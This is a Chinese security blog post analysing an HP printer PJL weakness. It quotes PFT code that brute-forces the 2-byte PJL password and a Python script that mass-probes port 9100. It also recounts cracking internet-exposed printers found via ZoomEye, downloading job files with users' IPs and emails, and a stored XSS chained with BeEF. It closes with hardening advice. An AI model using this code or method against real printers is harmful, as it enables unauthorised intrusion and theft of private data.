0x01 漏洞概要

PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议。关于另一种页面描述语言,应该提一提由Adobe设计的PostScript(PS),它可以将更为复杂的事情交由绘图仪/打印机处理。PJL (Printer Job Language,打印机作业语言)作为PCL的扩展,用于指导打印机行为,比如更改设备设置、传输文件等。 若打印机的9100端口向公网开启,在向打印机发送PJL指令之前需要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),因此可以通过暴力破解认证密钥想打印机发送PJL指令,最终导致任意命令的执行。

PJL (Printer Job Language)程序用于告诉打印机执行什么动作,是对PCL的额外支持。 PJL (Printer Job Language) 用于规范格式化页面的基本语言。本身是无害的,但却成为大多数解析器和解释器的漏洞利用代码。

0x02 漏洞原理

打印机系统9100端口开启时,若连上该端口通过PJL指令发送设备名称请求并得到打印机的响应,说明可以未授权访问打印机,PJL保护机制的密钥由2个字节(16比特)的存储单位存储,可以进行暴力破解攻击,从而得到目标打印机的完全访问权限。

根据国外安全研究员PHENOELIT 已经写好了漏洞利用程序,对其中的主要代码进行分析,得到下面的流程图

下面是破解密钥部分的代码:

  • 在pjlsession.cpp中的230到256行
void PJLsession::blind_disable_pjl_password(unsigned int pass) {
String ts;
char numb[50];
if ((pass==0)||(pass>65535)) throw ExInvalid();#ifndef UNIX
_snprintf(numb,49,"%u",pass);#else
snprintf(numb,49,"%u",pass);#endif //UNIX
connection.clear();
connection.sendbuf.set(PJL_START);
connection.sendbuf.append("\r\n");
connection.sendbuf.append("@PJL JOB PASSWORD=");
connection.sendbuf.append(numb);
connection.sendbuf.append("\r\n@PJL DEFAULT PASSWORD=0 \r\n");
connection.sendbuf.append("@PJL EOJ\r\n");
connection.sendbuf.append(PJL_FINISH);
connection.senddata();
// TEST !!!
// connection.recvatleast(9,ctimeout);
// end TEST
connection.sendbuf.clear();
}

因为打印机所使用的密码长度只有2个字节,即16个bit, 65535中表示方法,所以密码范围在0到65535之间,这就是为什么程序能暴力破解打印机认证密码。

connection.sendbuf.set()后面根据PJL协议发送指定的数据包。使攻击者在破解密码之后可以用里面的命令进行任意操作了。

0x03 案例分析

首先获取可能存在漏洞的打印机IP地址,打开www.zoomeye.org,输入漏洞关键字 HP LaserJet 进行搜索。搜索结果如下:

从结果中可以看到一些带有 HP LaserJet 标签的互联网主机和所属国家信息,这些主机就很有可能隐藏着打印机漏洞。我们从中选取一些进行测试。

Nmap端口扫描

Nmap的扫描结果显示主机不但开启了9100端口,80,443,23端口也开着,入侵也就多了一些其他的方式。

我们使用 PHENOELIT 开发的PFT工具来进行渗透测试。这个用C++写成的黑客工具有简单的命令行交互界面,专门用来破解PLJ接口的打印机,获取打印机的环境变量、文件系统和重要目标文件。

PFT密码破解

我们运行PFT工具,用 help 命令查看帮助文档

可以用PFT提供的暴力破解功能清除掉打印机的 PJL 程序保护。

显示密码清除成功,使用 ls 命令查看打印机上硬盘里的文件:

在这里可以查看打印机硬盘中存放的所有东西。如果打印机缓存了打印文件,在这里也是可以找到的。我们可以进入一个目录选择一个文件下载到本地:

查看L006105.XML文件的内容:

在这里可以查看到一些诸如本次打印的任务主机IP,邮箱,打印的文件名等敏感信息。

XSS攻击

存在于惠普打印机中风险的仅仅是拒绝服务,信息泄漏这么简单吗?在 Exploit-DB网站 中找到 HPLaserJet printers - Multiple Stored XSS Vulnerabilities(点击连接) 惠普打印机的多个存储型 XSS 漏洞, 对应 CVE 号: CVE-2012-3272 没给出利用方式,试着打开浏览器Fuzz了出来: 点击WEB的“支持信息”连接

点击 Apply 按钮,出现了 XSS 弹框:

利用该漏洞,配合 Beef 攻击框架,通过一段编写好的 JavaScript(hook.js)控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网,配合 Metasploit 绝对是内网渗透一大杀器。

0x04 全球漏洞分布

自动测试脚本

HP打印机的厂商已经对固件进行了升级,采用更安全的加密机制处理PJL密钥,不过由于全球范围用户基数比较大,已经用户安全意识不强,依然大量存在这种受害打印机,由ZoomEye网络空间搜索引擎导出的数据接合我们小组写的自动化扫描脚本。

#!/usr/bin/env python
# -*- coding: UTF-8 -*- import socket
import json
import sys
from optparse import OptionParser PJL_START = "\033%-12345X@PJL "
PJL_FINISH = "\033%-12345X\r\n"
PJL_USTATUS = "USTATUS DEVICE="
PJL_INFO_ID = "INFO ID\r\n" EOF = PJL_START + PJL_USTATUS + "OFF\r\n" + PJL_FINISH #PJL 语言
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH #PJL 语言 获取设备型号 class Printer():
def __init__(self):
self.usage()
if sys.argv < 1 :
self.usage()
self.readfile(options.file) def usage(self):
parser = OptionParser()
parser.add_option("-i", "--ip", dest="ip",
help="test single ip") #
parser.add_option("-f", "--file",dest="file",
help="files ") #
global options
(options, args) = parser.parse_args() def Buildsocket(self, ip, port=9100):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) #与主机建立socket连接
sock.settimeout(5)
try:
sock.connect((ip, port))
except:
print "[!*]-ip-%s-can't connect--" % ip
return 'error'
sock.send(EOF)
sock.send(DEVICEID) # 发送PJL指令给远程打印机
try:
device = sock.recv(1024)
except:
return 'No'
print "[!*]-ip-%s-is-ok\r\ndeviceidis-%s" % (str(ip), device)
sock.close()
return 'OK' def GetDiviceMap(self, data,status):
f = open('result.txt', 'a+')
try:
f.write(str(data['ip']) + ', ' + status + ', ' + str(data['geoinfo']['country']['name']['en'])
+', '+ str(data['geoinfo']['city']['en']) + ', ' + str(data['geoinfo']['location']['longitude'])
+', '+ str(data['geoinfo']['location']['latitude']) + ', ' + str(data['geoinfo']['country']['code'])
+', ' + str(data['geoinfo']['continent']['name']['en']) + "\r\n")
except:
pass
f.close() def readfile(self, file):
Vuln_ip = 0 # ip 列表输入的IP数量
No_vuln_ip = 0
CantConnectIP = 0
linenum = 0
f = open(file, 'r')
for line in f.readlines():
data = json.loads(line)
status = self.Buildsocket(data['ip'])
if status == 'error':
CantConnectIP += 1
elif status == 'No':
No_vuln_ip += 1
else:
Vuln_ip += 1
self.GetDiviceMap(data, status)
linenum += 1
print "[!*]-Now-is-%s-lines" % str(linenum)
f.close()
print str(CantConnectIP) + " " + str(No_vuln_ip) + " " + str(Vuln_ip) if __name__ == '__main__':
Printer()

  

全球影响面

这个漏洞波及了很多国家和地区,以美国最盛。我们用小组开发的自动化脚本加上ZoomEye提供的1万组惠普打印机IP进行测试。 结果绘制成图表如下。

  • 全球可入侵IP分布

  • 全球已修复IP分布

可以看到,美国是 PCL 打印机漏洞的重灾区,至今还拥有数量最多的漏洞主机。韩国也受到了很大的影响。其他国家,包括中国,有漏洞的打印机数量都不多,而且一半以上已被修复。

0x05 修补建议

对打印机管理员有以下建议:

  • 不使用的服务,如 FTP ,TELNET 服务,应手动关闭。
  • 直接关闭 9100 端口,不允许外网访问。
  • 不要使用公网 IP 作为打印机地址。
  • 关注产品动态,保证及时更新。

0x06 结论

像打印机,摄像头这种联网类型的设备,目前大家对这方面的安全意识需要进一步加强,最好把设备控制在内网使用。如果需要提供到外网接口,一定要采取一定的安全措施,默认的安全口令也需要修改。增加攻击人员的成本从而使得设备更加安全。

本文由 我和另外两个小伙伴 fengxuan zhufengdaaa 完成

原文首发于:http://zhufengdaaa.github.io

参考网址:

https://www.altamiracorp.com/blog/employee-posts/hacking-hp-printers-for-fun-profit

https://en.wikipedia.org/wiki/Printer_Job_Language

http://www.51cto.com/art/200508/7989.htm

https://www.exploit-db.com/exploits/10011/

http://www.freebuf.com/articles/system/7115.html

打印机PCL漏洞原理分析的更多相关文章

  1. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

  2. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  3. Spring4Shell的漏洞原理分析

    Spring框架最新的PoC 这两天出来的一个RCE漏洞,但是有以下的条件限制才行: 必须是jdk9及以上 必须是部署在tomcat的应用 是springmvc的或者webflux的应用 具体的可以查 ...

  4. 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现

    影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...

  5. Xss漏洞原理分析及简单的讲解

    感觉百度百科 针对XSS的讲解,挺不错的,转载一下~   XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...

  6. 【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗

    文章作者MG1937 CNBLOG博客:ALDYS4 QQ:3496925334 0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android ...

  7. CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0

    关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...

  8. [web安全原理分析]-SSRF漏洞入门

    SSRF漏洞 SSRF漏洞 SSRF意为服务端请求伪造(Server-Side Request Forge).攻击者利用SSRF漏洞通过服务器发起伪造请求,就这样可以访问内网的数据,进行内网信息探测或 ...

  9. [web安全原理分析]-XEE漏洞入门

    前言 1 前言 XXE漏洞 XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致 ...

随机推荐

  1. the identity used to sign the executable is no longer valid.解决方法

    the identity used to sign the executable is no longer valid.解决方法 一.重新下载Provisioning Profile 1.到devel ...

  2. Craking the coding interview 面试题:完美随机洗牌

    给定一个序列,随机打乱这个序列,新产生的序列和任意一个序列产生的可能性是一样的,就是所谓的完美随机洗牌. 看下面的运行结果: 上面第一列是原数列,下面一行是新产生的打乱的数列. 基本思想:如果n-1个 ...

  3. Ubuntu系统下MySQL读取文件数据ERROR解决

    博文链接:http://haoyuanliu.github.io/2016/04/29/mysql/ 对,我是来骗访问量的!O(∩_∩)O~~ 在使用MySQL进行文件数据读取的时候,在终端敲入命令行 ...

  4. 从客户端(content="<span class="Apple-s...")中检测到有潜在危险的 Request.Form 值。

    从客户端(content="<span class="Apple-s...")中检测到有潜在危险的 Request.Form 值. 说明: 请求验证过程检测到有潜在 ...

  5. Windows Minifilter驱动 - 调式 (4)

    写不论什么程序动态调试是很重要的.驱动开发也不例外. 通常如今写驱动的时候,都是在VM上跑的,调试手段基本也是本地windbg + 虚拟机. 虚拟机配置 我用的是win7, 第一步,看以下.成功运行后 ...

  6. 第五篇:R语言数据可视化之散点图

    散点图简介 散点图通常是用来表述两个连续变量之间的关系,图中的每个点表示目标数据集中的每个样本. 同时散点图中常常还会拟合一些直线,以用来表示某些模型. 绘制基本散点图 本例选用如下测试数据集: 绘制 ...

  7. iOS iOS8新特性--UIPopoverPresentationController

    1.回顾UIPopoverController的使用,下面这份代码只能在ipad下运行 // 初始化控制器,SecondViewController类继承自UIViewController Secon ...

  8. 【IOS】关于CGTransform的几个动画

    1.CGTransform主要三大功能,平移(Translation).缩放(Scale).旋转(Rotate). 平移: self.imageView.transform = CGAffineTra ...

  9. servlet中访问mysql无法包含中文的解决

    最近写servlet应用发现,如果我的sql语句中包含英文,访问数据库就失败,而我数据库的编码是utf8 -- UTF-8 Unicode,而我servlet的字符也已经转为UTF-8 ,还是不行. ...

  10. ASP.NET-FineUI开发实践-14

    以前写过一个表格自动补全,改下,就出现了部分级联修改.测试版本4.1.1 共享下JS,ext-part2.js       后台再来个得到数据的方法就可以了.   1.方法还是删除+插入,主要在  i ...